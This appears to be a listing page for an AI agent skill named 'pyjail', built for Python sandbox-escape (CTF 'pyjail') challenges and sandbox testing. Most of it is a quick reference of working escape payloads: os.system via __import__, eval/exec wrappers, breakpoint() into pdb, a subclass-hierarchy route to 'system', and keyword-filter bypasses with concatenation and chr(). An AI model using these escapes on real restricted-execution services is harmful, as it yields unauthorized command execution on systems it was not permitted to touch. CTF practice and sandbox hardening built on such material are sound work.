pyjail
Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges.
When & Why to Use This Skill
The pyjail Claude skill is a specialized security tool designed to navigate and bypass Python sandbox restrictions. It provides automated workflows for identifying filtered keywords, leveraging Python's class hierarchy for exploitation, and executing commands in restricted eval or exec environments. By streamlining the discovery of bypass techniques like encoding and concatenation, it serves as a powerful asset for security researchers and developers testing the robustness of isolated execution environments.
Use Cases
- Security Auditing: Testing the robustness of Python-based sandboxes or code execution environments against unauthorized system access.
- CTF Challenges: Solving complex Python jail (pyjail) puzzles by automating the discovery of available classes and generating bypass payloads.
- Input Validation Testing: Verifying if input filters and keyword blacklists effectively prevent code injection or sandbox escapes in production applications.
- Educational Research: Demonstrating common Python security vulnerabilities and the importance of secure coding practices when handling dynamic code execution.
| name | pyjail |
|---|---|
| description | Escapes Python sandbox restrictions. Use when working with restricted Python eval/exec environments, sandbox escapes, filtered input challenges, or Python jail challenges. |
| allowed-tools | Bash, Read, Write, Grep, Glob |
Python Jail Escape Skill
Quick Workflow
Progress:
- [ ] Identify restrictions (blocked keywords/chars)
- [ ] Try basic escapes first
- [ ] If builtins blocked, use class hierarchy
- [ ] Bypass filters with encoding/concatenation
- [ ] Execute command to get flag
Quick Reference - Common Escapes
# Basic command execution
__import__('os').system('cat flag.txt')
eval("__import__('os').system('id')")
exec("import os; os.system('ls')")
# Using breakpoint (Python 3.7+)
breakpoint() # Drops into pdb, then !cat flag.txt
# No builtins - class hierarchy
().__class__.__base__.__subclasses__()[132].__init__.__globals__['system']('cat flag')
# Keyword bypass
__import__('o'+'s').system('cat flag')
__import__(chr(111)+chr(115)).system('cat flag')
Reference Files
| Topic | Reference |
|---|---|
| Bypass Techniques | reference/bypass.md |
| Complete Payloads | reference/payloads.md |
Quick Debugging
# Find useful class index
for i, c in enumerate(().__class__.__base__.__subclasses__()):
if 'wrap' in str(c): print(i, c)
# Check available builtins
dir(__builtins__)